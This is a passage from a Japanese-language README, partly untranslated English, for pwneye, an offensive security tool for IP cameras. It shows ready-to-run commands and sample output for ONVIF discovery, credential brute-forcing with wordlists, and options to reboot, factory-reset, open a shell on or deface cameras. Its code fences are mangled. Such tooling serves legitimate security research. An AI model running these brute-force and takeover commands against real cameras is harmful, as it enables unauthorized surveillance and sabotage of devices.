pwneye

pwneye は、ONVIF および RTSP サービスを公開するIPカメラを扱うための、焦点を絞ったポータブルな攻撃的セキュリティツールです。セキュリティ研究者やハッカーが、単一のCLIワークフローから、ディスカバリ、認証テスト、メタデータ収集、ストリーム検証、録画、および後続アクションを簡単に処理できるようにすることを目的としています。

現在サポートされている機能には、以下のものがあります。

• WS-DiscoveryによるローカルネットワークのONVIFディスカバリ
• 単一の認証情報またはユーザー名/パスワードファイルを使用したONVIF認証およびマルチスレッドブルートフォース
• デバイス情報、設定済みユーザー、ネットワーク設定、メディアプロファイル、RTSPストリームURIのONVIF認証後列挙
• ONVIFによるカメラの再起動、工場出荷時リセット、および対話型シェルアクセス
• CLIと専用ビューアの両方からのONVIF PTZ操作
• ONVIFによるストリーム改ざんと復元のサポート
• RTSPポート検出とバナーに基づくベンダー識別
• 450以上の組み込みベンダー認証情報/接続文字列プロファイルを使用したベンダー対応RTSPブルートフォースに加え、手動ベンダーおよび手動接続文字列のサポート
• ライブ進行状況出力付きのマルチスレッドRTSPブルートフォース
• 自動検出、ガイド付き列挙、対話型チャンネル選択を備えたRTSPマルチチャンネル処理
• DVR/NVRタイプのターゲット向けの、ズームと高速チャンネル切り替えを備えた専用ライブプレビュークライアント
• RTSPストリーム検証、ffplayによるライブプレビュー、ffmpegによる録画、およびスナップショットキャプチャ
• 成功したONVIFおよびRTSPの検出結果を~/.pwneye配下にターゲットごとにキャッシュ

デモ

https://github.com/user-attachments/assets/6913632b-326d-455e-aa0d-be6bf9b3e66c

目次

• インストールとアップデート
  • pipx
  • Python
  • 外部依存関係
• はじめに
• ONVIF
  • ONVIFが提供するもの
  • ローカルネットワークの列挙
  • 認証情報のブルートフォース
  • カメラの再起動
  • カメラのリセット
  • カメラの移動
  • ストリームの改ざん
  • ストリームの改ざん解除
  • シェルの取得
• RTSP
  • RTSPが提供するもの
  • ベンダーの識別
  • RTSPブルートフォース
  • マルチチャンネルストリーム
  • ストリーミング、録画、スナップショット
• ヒントとコツ
• 謝辞
• 安全性
• ライセンス

インストールとアップデート

pipx

GitHubからpwneyeをシステム全体のCLIコマンドとしてインストールします。```bash pipx install git+https://github.com/Hackerest/pwneye.git pwneye --help

アンインストールするには：```bash
pipx uninstall pwneye

後で同じGitHubソースからアップグレードします:```bash pipx upgrade pwneye

### Python```bash
git clone https://github.com/Hackerest/pwneye
cd pwneye
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 pwneye.py --help

後で同じGitHubソースからアップグレードします:```bash cd pwneye git pull source .venv/bin/activate pip install -r requirements.txt

### 外部依存関係

使用するモードに応じて、以下のツールが `PATH` に存在することが想定されています:
- `ffplay`
- `ffprobe`
- 録画用の `ffmpeg`

| プラットフォーム | インストールコマンド |
| --- | --- |
| macOS (Homebrew) | `brew install ffmpeg` |
| Ubuntu / Debian | `sudo apt update && sudo apt install ffmpeg` |
| Fedora | `sudo dnf install ffmpeg ffmpeg-free` |
| Arch Linux | `sudo pacman -S ffmpeg` |
| openSUSE | `sudo zypper install ffmpeg` |

## はじめに

これらをツールへの最速の入り口として使用してください。ここでの目的はすべてのフラグを網羅することではなく、既に知っている内容に応じてカメラでの作業を開始する最も有用な方法を示すことです。

単一のターゲットがあり、`pwneye` にプロトコル選択の作業を任せたい場合は、デフォルトの完全なワークフローから始めてください:```bash
pwneye -t 192.168.1.135

ONVIFディスカバリから始めましょう。同じローカルネットワーク上にいて、RTSPに触れる前にデバイス、ベンダー、ストリームの手がかりを特定したい場合に有効です。```bash pwneye --discover

ONVIFが無関係、利用不可、またはテストしたい内容がすでに分かっている場合は、RTSPから直接開始します。```bash
pwneye -t 192.168.1.135 --skip-onvif

既知または疑わしい認証情報から開始すると、ノイズを減らしてアクセスを迅速に検証できます。```bash pwneye -t 192.168.1.135 --username admin --password admin pwneye -t 192.168.1.135 --username admin --password ~/wordlists/passwords.txt pwneye -t 192.168.1.135 --username ~/wordlists/users.txt --password admin123

既知のパスまたはパステンプレートから開始し、すでにストリームの手がかりがあり、RTSPリクエストを厳密に制御したい場合に使用します。```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/live/ch00_0"
pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0'

証拠収集は、動作するストリームが見つかった時点から開始します。```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --record

覚えておくと便利なフラグ:

- `--vendor VENDOR`: デバイスファミリーが既知の場合にRTSPリクエストを削減する
- `-cn, --connection-string PATH`: 既知のRTSPパス、または候補パスを含むファイルを試す
- `--multi-channel`: DVR/NVRタイプのターゲットが疑われる場合に、チャンネルベースのRTSPパスを優先する
- `--threads N`: ONVIFおよびRTSPブルートフォースの並行性を制御する
- `--skip-onvif` / `--skip-rtsp`: 1つのプロトコルにのみ焦点を当てる
- `--no-cache`: キャッシュからの読み取りも書き込みも行わない
- `--fresh`: キャッシュ読み取りを無視するが、新しい発見結果は書き込む

## ONVIF

ONVIFは、カメラ世界における管理・制御側のプロトコルです。実際には、ディスカバリ、認証、メタデータ抽出、メディアプロファイル列挙、ストリームURI取得、再起動などのデバイス操作に役立ちます。

`pwneye`では、ONVIFは通常、認証後の最もリッチなコンテキストを提供し、カメラが何を公開しているかを理解するための最も明確な経路となり、認証されたアカウントが十分な権限を持つ場合には、デバイス上の実際の管理操作へのアクセスを可能にするプロトコルです。

### ONVIFが提供するもの

カメラがONVIFを公開している場合、`pwneye`は以下に使用できます:

- WS-Discoveryを介してローカルネットワーク上のカメラを発見する
- 固定認証情報またはファイルを使用してONVIF認証をテストする
- メーカーおよびデバイスのメタデータを抽出する
- デバイスが公開するRTSPストリームURIを取得する
- RTSPをより積極的に操作する前に、認証後の有用なコンテキストを列挙する
- `--reboot` で認証済みの再起動を要求する
- `--reset` で認証済みの工場出荷時リセットを要求する
- CLIまたは専用ビューアからPTZ対応カメラを操作する
- `--shell` で認証済みの対話型シェルを開く
- `--deface` でONVIF経由のストリーム改ざんを行う
- `--undeface` で最後に保存された改ざんプロファイルを復元する

### ローカルネットワークの列挙

WS-Discoveryを使用して、ローカルネットワーク上のONVIF対応デバイスを特定します:```
pwneye --discover

[info] Starting continuous ONVIF discovery on the target network
[warning] No network interface was specified. Using en0 (subnet 192.168.1.0/24) for discovery
[success] Discovered 1 new ONVIF device(s) on the target network
[info] Saved ONVIF discovery data to cache for 192.168.1.135 (Tenda)

   Host: 192.168.1.135
   Port: 80
   Protocol: http
   Types: Device
   XAddrs: http://192.168.1.135:80/onvif/device_service
   Manufacturer: Tenda
   Name: CP3Pro
   Hardware: CP3Pro
   MAC: XX:XX:XX:XX:XX:XX
   Country: China
   Profiles: Streaming
   Capabilities: NetworkVideoTransmitter, ptz, video_encoder, audio_encoder

[success] ONVIF discovery stopped by user after identifying 1 device(s)

発見ループは数秒ごとにプローブを続け、新しく発見されたデバイスのみを表示し、CTRL-C で停止できます。

特定のネットワークインターフェース経由で発見を強制することもできます:```bash pwneye --discover en0 pwneye --discover eth0

When no interface is specified, `pwneye` automatically chooses the default outbound interface and tells you which target subnet it is using for WS-Discovery.

### Bruteforcing Credentials

Run ONVIF-only bruteforce with a fixed username and a password file:```
pwneye -t 192.168.1.135 -ou admin -op ~/wordlists/rockyou-short.txt --skip-rtsp --threads 5

[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying ONVIF authentication using user-provided credentials...
[success] 192.168.1.135 supports ONVIF on port 80
[warning] Unable to authenticate via ONVIF using provided credentials
[>] Do you want to extend the test to common ONVIF credentials? [(y)es/(n)o] (default: y): 
[info] No explicit ONVIF credentials specified, trying common ONVIF credentials...
[info] Trying ONVIF authentication using common username(s) and password(s)...
[success] 192.168.1.135 supports ONVIF on port 80
⠼ Trying ONVIF on 192.168.1.135:80 with camera:12345

有用なオプション:

• --skip-onvif: ONVIF検出と列挙をスキップする
• -oP, --onvif-port PORT: 特定のONVIFポートをテストする
• -ou, --onvif-username USER: ONVIFユーザー名、または1行に1つのユーザー名を記載したファイル
• -op, --onvif-password PASS: ONVIFパスワード、または1行に1つのパスワードを記載したファイル

-ou と -op が指定されていない場合、pwneye は自動的に内蔵の一般的なONVIFユーザー名とパスワードにフォールバックします。

pwneye は、成功したONVIF認証情報をターゲットごとに ~/.pwneye/cache にキャッシュし、--fresh または --no-cache を使用しない限り、今後の実行でそれらを再利用します。

カメラの再起動